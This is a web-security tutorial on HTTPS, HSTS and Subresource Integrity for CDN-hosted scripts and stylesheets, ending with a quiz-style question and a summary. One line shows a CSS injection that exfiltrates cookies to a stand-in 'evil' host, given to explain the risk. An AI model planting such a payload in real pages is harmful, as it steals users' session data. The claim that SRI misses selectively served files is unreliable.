HTTPS and Subresource Integrity

HTTPS encrypts data in transit and authenticates the server. Without HTTPS, attackers on the same network (cafe wifi, ISP, state actor) can read every byte and inject malicious content into responses. Modern browsers mark HTTP pages as "Not Secure" and many APIs (camera, geolocation, service workers) refuse to work over HTTP.

Loading HTTP resources from an HTTPS page is mixed content. The browser blocks active mixed content (scripts, iframes, stylesheets) outright and warns about passive (images). Always load every resource over HTTPS; use protocol-relative URLs (//cdn.example.com) or absolute https://.

HTTP Strict Transport Security via Strict-Transport-Security response header tells browsers to refuse HTTP connections to your domain in the future. Once HSTS is cached, an attacker cannot downgrade a user to HTTP even with a man-in-the-middle position.

Loading scripts from third-party CDNs is convenient but risky — if the CDN is compromised, an attacker can swap the script for malware. Subresource Integrity (SRI) makes the browser verify the file's cryptographic hash before executing, refusing to run if the hash does not match.

Add a base64-encoded SHA-256/384/512 hash to the script tag: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. The browser computes the hash of the downloaded file and refuses to run it on mismatch.

Generate the hash with openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. Or use a build tool plugin that emits the integrity attribute automatically. Most CDNs (jsdelivr, unpkg) display the SRI tag in their copy-paste snippet.

SRI requires the cross-origin response to allow integrity check via CORS. Add crossorigin="anonymous" to the tag and ensure the CDN sends Access-Control-Allow-Origin. Without it, the browser refuses to verify and the resource fails to load.

The integrity attribute can carry multiple hashes separated by spaces. Useful during a version transition: list the hashes for both old and new versions, and the browser accepts whichever the CDN serves. Avoid more than a couple of hashes to keep the attribute readable.

SRI also protects <link rel="stylesheet">. A compromised CSS file is less directly dangerous than a compromised script, but injected background: url("//evil/log?cookie=...") can still exfiltrate data. Apply SRI to every external asset where possible.

SRI mitigates CDN compromise but does not solve every issue: a hash change on the CDN breaks your page until you update the integrity attribute. For critical libraries, self-host the file you reviewed — eliminates SRI pinning and supply-chain risk in one move.

SRI adds a hash computation per resource — negligible on modern hardware, microseconds per kilobyte. The protection it provides against supply-chain attacks dwarfs the cost. There is no performance reason to skip SRI when loading from a CDN.

SRI verifies specific bytes — it does not protect against the CDN serving a different file for some users (selective targeting). For maximum assurance, combine SRI with HTTPS, HSTS, CSP, and self-hosting of the most-critical assets.

What does the integrity attribute on a script tag protect against?

HTTPS encrypts and authenticates, HSTS prevents downgrade attacks, and SRI verifies third-party files have not been tampered with. Add integrity hashes (with crossorigin="anonymous") to every external script and stylesheet from a CDN you do not control. For the most critical assets, self-host instead — eliminating supply-chain risk entirely.